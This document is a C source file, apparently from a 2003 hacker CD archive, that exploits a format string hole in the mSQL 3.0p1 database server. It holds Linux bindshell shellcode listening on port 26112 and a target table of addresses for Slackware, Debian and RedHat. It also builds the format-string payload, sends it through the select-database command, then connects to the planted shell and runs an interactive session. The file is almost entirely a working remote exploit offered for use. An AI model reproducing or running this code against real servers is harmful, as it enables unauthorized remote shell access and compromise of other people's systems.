home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / msqlex / msqlex.c
Encoding:
C/C++ Source or Header  |  2003-08-21  |  13.9 KB  |  540 lines

  1. /*           _ ________            _____                        ______
  2.     __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
  3.          _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
  4.    ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
  5.       - -------\______||--._____\---._______//-|__    //-.___|----._____||
  6.                            / \   /
  7.                                                    \/
  8. [*] mSQL < remote gid root exploit      
  9.     by lucipher & The Itch (www.netric.org|be)
  10.     ------------------------------------------------------------------------------
  11.  
  12. [*]  Exploits a format string hole in mSQL.
  13.  
  14. [*] Some functions are taken from mSQL's sourcecode
  15.  
  16.     Copyright (c) 2003 Netric Security and lucipher
  17.     All rights reserved.
  18.  
  19.     THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
  20.     WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
  21.     MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  22. */
  23.  
  24. #include <stdio.h>    /* required by fatal() */
  25. #include <stdlib.h>
  26. #include <stdarg.h>    /* required by fatal() */
  27. #include <unistd.h>
  28. #include <sys/types.h>
  29. #include <sys/time.h>
  30. #include <string.h>
  31. #include <time.h>
  32. #include <fcntl.h>
  33. #include <arpa/inet.h>
  34. #include <sys/socket.h>
  35. #include <netinet/in.h>
  36. #include <netdb.h>
  37. #include <errno.h>    /* required by errno */
  38. #include <getopt.h>    /* required by getopt() */
  39. #include <signal.h>
  40.  
  41. #define PKT_LEN        (128*1024)
  42. #define ERR_BUF_LEN     200
  43. #define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
  44. #define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
  45.                                 if (*cp == '\n') *cp = 0;}
  46.  
  47. #define NET_READ(fd,b,l)    read(fd,b,l)
  48. #define NET_WRITE(fd,b,l)    write(fd,b,l)
  49.  
  50. #define SERVER_GONE_ERROR    "server has gone...\n"
  51. #define UNKNOWN_ERROR        "foo!"  
  52.  
  53. static char msqlErrMsg[200];
  54. static u_char packetBuf[PKT_LEN + 4];
  55. static int readTimeout;
  56. u_char *packet = NULL;
  57.  
  58. int netReadPacket(int fd);
  59. int netWritePacket(int fd);
  60.  
  61. /* bindshell shellcode */
  62. char linux_code[78] = /* binds on port 26112 */
  63.         "\x31\xdb\xf7\xe3\x53\x43\x53"
  64.         "\x6a\x02\x89\xe1\xb0\x66\x52"
  65.         "\x50\xcd\x80\x43\x66\x53\x89"
  66.         "\xe1\x6a\x10\x51\x50\x89\xe1"
  67.         "\x52\x50\xb0\x66\xcd\x80\x89"
  68.         "\xe1\xb3\x04\xb0\x66\xcd\x80"
  69.         "\x43\xb0\x66\xcd\x80\x89\xd9"
  70.         "\x93\xb0\x3f\xcd\x80\x49\x79"
  71.         "\xf9\x52\x68\x6e\x2f\x73\x68"
  72.         "\x68\x2f\x2f\x62\x69\x89\xe3"
  73.         "\x52\x53\x89\xe1\xb0\x0b\xcd"
  74.         "\x80";
  75.  
  76. static void intToBuf(cp, val)
  77. u_char *cp;
  78. int val;
  79. {
  80.         *cp++ = (unsigned int) (val & 0x000000ff);
  81.         *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
  82.         *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
  83.         *cp++ = (unsigned int) (val & 0xff000000) >> 24;
  84. }
  85.  
  86. static int bufToInt(cp)
  87. u_char *cp;
  88. {
  89.         int val;
  90.  
  91.         val = 0;
  92.         val = *cp++;
  93.         val += ((int) *cp++) << 8;
  94.         val += ((int) *cp++) << 16;
  95.         val += ((int) *cp++) << 24;
  96.         return (val);
  97. }
  98.  
  99. int netWritePacket(fd)
  100. int fd;
  101. {
  102.         int len, offset, remain, numBytes;
  103.  
  104.         len = strlen((char *) packet);
  105.         intToBuf(packetBuf, len);
  106.         offset = 0;
  107.         remain = len + 4;
  108.         while (remain > 0) {
  109.                 numBytes = NET_WRITE(fd, packetBuf + offset, remain);
  110.                 if (numBytes == -1) {
  111.                         return (-1);
  112.                 }
  113.                 offset += numBytes;
  114.                 remain -= numBytes;
  115.         }
  116.         return (0);
  117. }
  118.  
  119. int netReadPacket(fd)
  120. int fd;
  121. {
  122.         u_char buf[4];
  123.         int len, remain, offset, numBytes;
  124.  
  125.         remain = 4;
  126.         offset = 0;
  127.         numBytes = 0;
  128.         readTimeout = 0;
  129.         while (remain > 0) {
  130.                 /*
  131.                  ** We can't just set an alarm here as on lots of boxes
  132.                  ** both read and recv are non-interuptable.  So, we
  133.                  ** wait till there something to read before we start
  134.                  ** reading in the server (not the client)
  135.                  */
  136.                 if (!readTimeout) {
  137.                         numBytes = NET_READ(fd, buf + offset, remain);
  138.                         if (numBytes < 0 && errno != EINTR) {
  139.                                 fprintf(stderr,
  140.                                         "Socket read on %d for length failed : ",
  141.                                         fd);
  142.  
  143.                                 perror("");
  144.                         }
  145.                         if (numBytes <= 0)
  146.                                 return (-1);
  147.                 }
  148.                 if (readTimeout)
  149.                         break;
  150.                 remain -= numBytes;
  151.                 offset += numBytes;
  152.  
  153.         }
  154.         len = bufToInt(buf);
  155.         if (len > PKT_LEN) {
  156.                 fprintf(stderr, "Packet too large (%d)\n", len);
  157.                 return (-1);
  158.         }
  159.         if (len < 0) {
  160.                 fprintf(stderr, "Malformed packet\n");
  161.                 return (-1);
  162.         }
  163.         remain = len;
  164.         offset = 0;
  165.         while (remain > 0) {
  166.                 numBytes = NET_READ(fd, packet + offset, remain);
  167.  
  168.                 if (numBytes <= 0) {
  169.                         return (-1);
  170.                 }
  171.                 remain -= numBytes;
  172.                 offset += numBytes;
  173.         }
  174.         *(packet + len) = 0;
  175.         return (len);
  176. }
  177.  
  178. int msqlSelectDB(int sock, char *db)
  179. {
  180.         memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
  181.  
  182.         packet = packetBuf+4;
  183.  
  184.         snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
  185.         netWritePacket(sock);
  186.         if (netReadPacket(sock) <= 0) {
  187.                 strcpy(msqlErrMsg, SERVER_GONE_ERROR);
  188.                 return (-1);
  189.         }
  190.         if (atoi(packet) == -1) {
  191.                 char *cp;
  192.  
  193.                 cp = (char *) index(packet, ':');
  194.                 if (cp) {
  195.                         strcpy(msqlErrMsg, cp + 1);
  196.                         chopError();
  197.                 } else {
  198.                         strcpy(msqlErrMsg, UNKNOWN_ERROR);
  199.                 }
  200.                 return (-1);
  201.         }
  202.  
  203.         return (0);
  204. }
  205.  
  206. struct target {
  207.     char *name;            /* target description */
  208.     unsigned long writeaddr;    /* mSQL's errMsg + 18 + 8 address */
  209.     unsigned long smashaddr;    /* strcpy's GOT address */
  210.     unsigned long pops;        /* number of stack pops */
  211. };
  212.  
  213. /* high and low words indexers */
  214. enum { hi, lo };
  215.  
  216. /* default values. */
  217. struct target targets[] = {
  218.     /* name                         write      smash       pops */
  219.     { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
  220.     { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
  221.     { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
  222.     { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
  223.     { NULL, 0x0, 0x0, 0 }
  224. };
  225.  
  226. void fatal(char *fmt, ...)
  227. {
  228.         char buffer[1024];
  229.         va_list ap;
  230.  
  231.         va_start(ap, fmt);
  232.         vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
  233.         va_end(ap);
  234.  
  235.         fprintf(stderr, "%s", buffer);
  236.         exit(1);
  237. }
  238.  
  239. /* resolve a given hostname */
  240. unsigned long tcp_resolv(char *hostname)
  241. {
  242.         struct hostent *he;
  243.         unsigned long addr;
  244.         int n;
  245.  
  246.         he = gethostbyname(hostname);
  247.         if (he == NULL) {
  248.                 n = inet_aton(hostname, (struct in_addr *) addr);
  249.                 if (n < 0)
  250.                         fatal("inet_aton: %s\n", strerror(errno));
  251.  
  252.                 return addr;
  253.         }
  254.  
  255.         return *(unsigned long *) he->h_addr;
  256. }
  257.  
  258. /* routine to open a tcp/ip connection */
  259. int tcp_connect(char *hostname, int port)
  260. {
  261.         struct sockaddr_in sin;
  262.         int fd, n;
  263.  
  264.         sin.sin_addr.s_addr = tcp_resolv(hostname);
  265.         sin.sin_family = AF_INET;
  266.         sin.sin_port = htons(port);
  267.  
  268.         fd = socket(AF_INET, SOCK_STREAM, 6);
  269.         if (fd < 0)
  270.                 return -1;
  271.  
  272.         n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
  273.         if (n < 0)
  274.                 return -1;
  275.  
  276.         return fd;
  277. }
  278.  
  279. int msql_login(char *hostname, unsigned short int port)
  280. {
  281.     char buffer[300], *p;
  282.     int fd, n, opt;
  283.  
  284.     fd = tcp_connect(hostname, port);
  285.     if (fd < 0)
  286.         fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
  287.  
  288.     setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
  289.  
  290.     memset(&buffer, 0x0, sizeof(buffer));
  291.     n = read(fd, &buffer, sizeof(buffer) - 1);
  292.     if (n < 0)
  293.         fatal("[-] could not read socket: %s\n", strerror(errno));
  294.  
  295.     p = (char *)&buffer + 4;
  296.     if (atoi(p) == -1)
  297.         fatal("[-] bad handshake received.\n");
  298.     p++;
  299.     if (*p != ':') p++;
  300.     p++;
  301.     if (*p >= '1' && *p <= '3') {
  302.         /* send buffer size within packet. */
  303.         buffer[0] = (unsigned int) (5UL & 0x000000ff);
  304.         buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
  305.         buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
  306.         buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
  307.         /* sorta like our login. */
  308.         buffer[4] = 'r';
  309.         buffer[5] = 'o';
  310.         buffer[6] = 'o';
  311.         buffer[7] = 't';
  312.         buffer[8] = '\n';
  313.         buffer[9] = '\0';
  314.  
  315.         write(fd, buffer, 9);    
  316.     }
  317.  
  318.     n = read(fd, buffer, sizeof(buffer) - 1);
  319.     if (n < 0)
  320.         fatal("[-] client failed in handshake.\n");
  321.  
  322.     printf("[+] connected to %s -> %u\n", hostname, port);
  323.     return fd;
  324. }
  325.  
  326. void msql_selectdb(int fd, char *database)
  327. {
  328.     unsigned char buffer[300];
  329.     unsigned int len;
  330.  
  331.     len = 117;
  332.     buffer[0] = (unsigned char)(len & 0x000000ff);
  333.     buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
  334.     buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
  335.     buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
  336.  
  337.     snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
  338.     len = write(fd, &buffer[0], len);
  339.  
  340. }
  341.  
  342. void shell(int fd)
  343. {
  344.     char buf[512];
  345.     fd_set rfds;
  346.     int l;
  347.  
  348.     write(fd, "id ; uname -a\n", 14);
  349.     while (1) {
  350.         FD_SET(0, &rfds);
  351.         FD_SET(fd, &rfds);
  352.         select(fd + 1, &rfds, NULL, NULL, NULL);
  353.  
  354.         if (FD_ISSET(0, &rfds)) {
  355.             l = read(0, buf, sizeof (buf));
  356.             if (l <= 0) {
  357.                 perror("read user");
  358.                 exit(EXIT_FAILURE);
  359.             }
  360.             write(fd, buf, l);
  361.         }
  362.  
  363.         if (FD_ISSET(fd, &rfds)) {
  364.             l = read(fd, buf, sizeof (buf));
  365.             if (l == 0) {
  366.                 fatal("connection closed by foreign host.\n");
  367.             } else if (l < 0) {
  368.                 perror("read remote");
  369.                 exit (EXIT_FAILURE);
  370.             }
  371.             write(1, buf, l);
  372.         }
  373.  
  374.     }
  375. }
  376.  
  377. void usage(void)
  378. {
  379.     fprintf(stderr, "mSQLexploit\n\n");
  380.     fprintf(stderr, "  -l\t\tlist available targets.\n");
  381.     fprintf(stderr, "  -t target\ttarget selection.\n");
  382.     fprintf(stderr, " *** MANUAL ATTACK ***\n");
  383.     fprintf(stderr, "  -s [addr]\tsmash address.\n");
  384.     fprintf(stderr, "  -w [addr]\twrite address.\n");
  385.     fprintf(stderr, "  -p [num]\tnumber of pops.\n");
  386.     exit(1);
  387. }
  388.  
  389. int main(int argc, char **argv)
  390. {
  391.     struct target manual;
  392.     struct target *target = NULL;
  393.     unsigned short port = 0, addr[2];
  394.     unsigned char split[4];
  395.     char *hostname, buffer[200];
  396.     int fd, opt;
  397.  
  398.     if (argc <= 1)
  399.         usage();
  400.  
  401.     memset(&manual, 0x00, sizeof(struct target));
  402.     while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
  403.         switch (opt) {
  404.         case 't': /* pre-written target selection */
  405.             target = &targets[atoi(optarg)];
  406.             break;
  407.         case 'l': 
  408.             {
  409.             int i;
  410.             /* iterate through the list of targets and display. */
  411.             for (i = 0; targets[i].name; i++)
  412.                 printf("[%d] %s\n", i, targets[i].name);
  413.  
  414.             exit(1);
  415.             }
  416.         case 'h':
  417.             /* print exploit usage information */
  418.             usage();
  419.             break; /* never reached */
  420.         case 's':
  421.             if (target == NULL)
  422.                 target = &manual;
  423.  
  424.             target->name = "Manual Target";
  425.             target->smashaddr = strtoul(optarg, NULL, 16);
  426.             break;
  427.         case 'w':
  428.             if (target == NULL)
  429.                 target = &manual;
  430.  
  431.             target->name = "Manual Target";
  432.             target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
  433.             break;
  434.         case 'p':
  435.             if (target == NULL)
  436.                 target = &manual;
  437.             target->name = "Manual Target";
  438.             target->pops = atoi(optarg);
  439.         }
  440.     }
  441.  
  442.     argc -= optind;
  443.     argv += optind;
  444.  
  445.     if (argc <= 0) {
  446.         fatal("choose a hostname and optionally a port\n");
  447.     } else if (argc == 1) {
  448.         hostname = argv[0];
  449.     } else {
  450.         hostname = argv[0];
  451.         port = atoi(argv[1]) & 0xff;
  452.     }
  453.     if (target != NULL) {
  454.         if (!strncmp(target->name, "Manual", 6))
  455.             if (!target->smashaddr || !target->writeaddr || 
  456.                 !target->pops)
  457.                 fatal("exploit requires pop count and "
  458.                 "smash, write addresses: use -p and -w and -s "
  459.                 "to set them\n");
  460.     } else {
  461.         target = &target[0];
  462.     }
  463.  
  464.     printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
  465.  
  466.     fd = msql_login(hostname, (port) ? port : 1114);
  467.  
  468.     printf("[+] name %s\n", target->name);
  469.     printf("[+] smash %08lx\n", target->smashaddr);
  470.     printf("[+] write %08lx\n", target->writeaddr);
  471.     printf("[+] Now building string...\n");
  472.  
  473.     memset(&buffer, 0x0, sizeof(buffer));
  474.  
  475.     addr[lo] = (target->writeaddr & 0x0000ffff);
  476.     addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
  477.  
  478.     /* split the address */
  479.     split[0] = (target->smashaddr & 0xff000000) >> 24;
  480.     split[1] = (target->smashaddr & 0x00ff0000) >> 16;
  481.     split[2] = (target->smashaddr & 0x0000ff00) >> 8;
  482.     split[3] = (target->smashaddr & 0x000000ff);
  483.  
  484.     /* build the format string */
  485.     if (addr[hi] < addr[lo])
  486.         snprintf(buffer, sizeof(buffer),
  487.                 "%c%c%c%c"
  488.                 "%c%c%c%c"
  489.  
  490.                 "%s"
  491.  
  492.                 "%%.%du%%%ld$hn"
  493.                 "%%.%du%%%ld$hn",
  494.             
  495.                 split[3] + 2, split[2], split[1], split[0],
  496.                 split[3], split[2], split[1], split[0],
  497.                 linux_code,
  498.                 addr[hi] - 0x68, target->pops, 
  499.                 addr[lo] - addr[hi], target->pops + 1);
  500.     else 
  501.         snprintf(buffer, sizeof(buffer),
  502.                                 "%c%c%c%c"
  503.                                 "%c%c%c%c"
  504.  
  505.                                 "%s"
  506.  
  507.                                 "%%.%du%%%ld$hn"
  508.                                 "%%.%du%%%ld$hn",
  509.  
  510.                                 split[3] + 2, split[2], split[1], split[0],
  511.                                 split[3], split[2], split[1], split[0],
  512.                                 linux_code,
  513.                                 addr[lo] - 0x68, target->pops,
  514.                                 addr[hi] - addr[lo], target->pops + 1);
  515.     
  516.     printf("[+] Trying to exploit...\n");
  517.     msqlSelectDB(fd, buffer);
  518.     switch (opt = fork()) {
  519.     case 0: 
  520.         msqlSelectDB(fd, buffer);
  521.         exit(1);
  522.     case -1:
  523.         fatal("[-] failed fork()!\n");
  524.     default:
  525.         break;
  526.     }
  527.  
  528.     printf("[+] sleeping...\n");
  529.     sleep(1);
  530.     opt = tcp_connect(hostname, 26112);
  531.     if (opt < 0)
  532.         fatal("[-] failed! couldn't connect to bindshell!\n");
  533.  
  534.     printf("[+] shell!\n");
  535.     shell(opt);
  536.     
  537.     return 0;
  538. }
  539.  
  540.